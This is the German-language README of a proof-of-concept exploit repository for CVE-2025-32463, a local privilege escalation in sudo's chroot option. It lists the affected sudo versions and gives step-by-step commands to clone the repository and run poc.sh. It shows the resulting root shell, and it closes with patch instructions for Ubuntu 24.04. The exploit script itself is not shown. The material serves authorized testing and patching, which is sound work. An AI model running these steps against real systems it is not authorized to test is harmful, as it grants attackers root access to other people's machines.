CVE-2025-32463 – Sudo EoP Exploit (PoC) mit vorkompilierter Bibliothek

Dieses Repository enthält einen Proof-of-Concept (PoC) Exploit für CVE-2025-32463, eine lokale Privilegieneskalations-Schwachstelle in sudo, entdeckt von Rich Mirch.

Danksagung

https://github.com/kh4sh3i/CVE-2025-32463

⚠️ Haftungsausschluss

Dieser PoC dient ausschließlich zu Bildungs- und autorisierten Testzwecken. Verwenden Sie diesen Code nicht auf Systemen, die Sie nicht besitzen oder für die Sie keine ausdrückliche Genehmigung zur Überprüfung haben.

🔧 Voraussetzungen

sudo mit chroot-Unterstützung (-R): Version 1.9.14 bis 1.9.17
nsswitch aktiviert

🚀 So führen Sie den PoC aus

git clone https://github.com/zinzloun/CVE-2025-32463.git
cd CVE-2025-32463

Prüfen, ob der aktuelle Benutzer niedrige Privilegien hat

:~/CVE-2025-32463$ id
uid=1001(poc) gid=1001(poc) groups=1001(poc),100(users)

Voraussetzungen prüfen

:~/CVE-2025-32463$ sudo --version
Sudo version 1.9.15p5
...
:~/CVE-2025-32463$ ls -al /etc/nsswitch.conf
-rw-r--r-- 1 root root 526 Feb 16 20:57 /etc/nsswitch.conf

Exploit ausführen

:~/CVE-2025-32463$ chmod +x poc.sh && ./poc.sh
woot!
root@ubutes01:/# id
uid=0(root) gid=0(root) groups=0(root),100(users),1001(poc)

🚒 Behebung auf Ubuntu 24.04 LTS

Für verbundene Systeme einfach ausführen
```
sudo apt update && sudo apt upgrade
```
Für abgeschottete Systeme: Sie können das letzte sudo-Paket von hier herunterladen: https://github.com/sudo-project/sudo/releases/download/v1.9.17p1/sudo_1.9.17-2_ubu2404_amd64.deb. Sobald das Paket auf das Zielsystem übertragen wurde, führen Sie einfach aus:
```
 sudo dpkg -i sudo_1.9.17-2_ubu2404_amd64.deb
```

CVE-2025-32463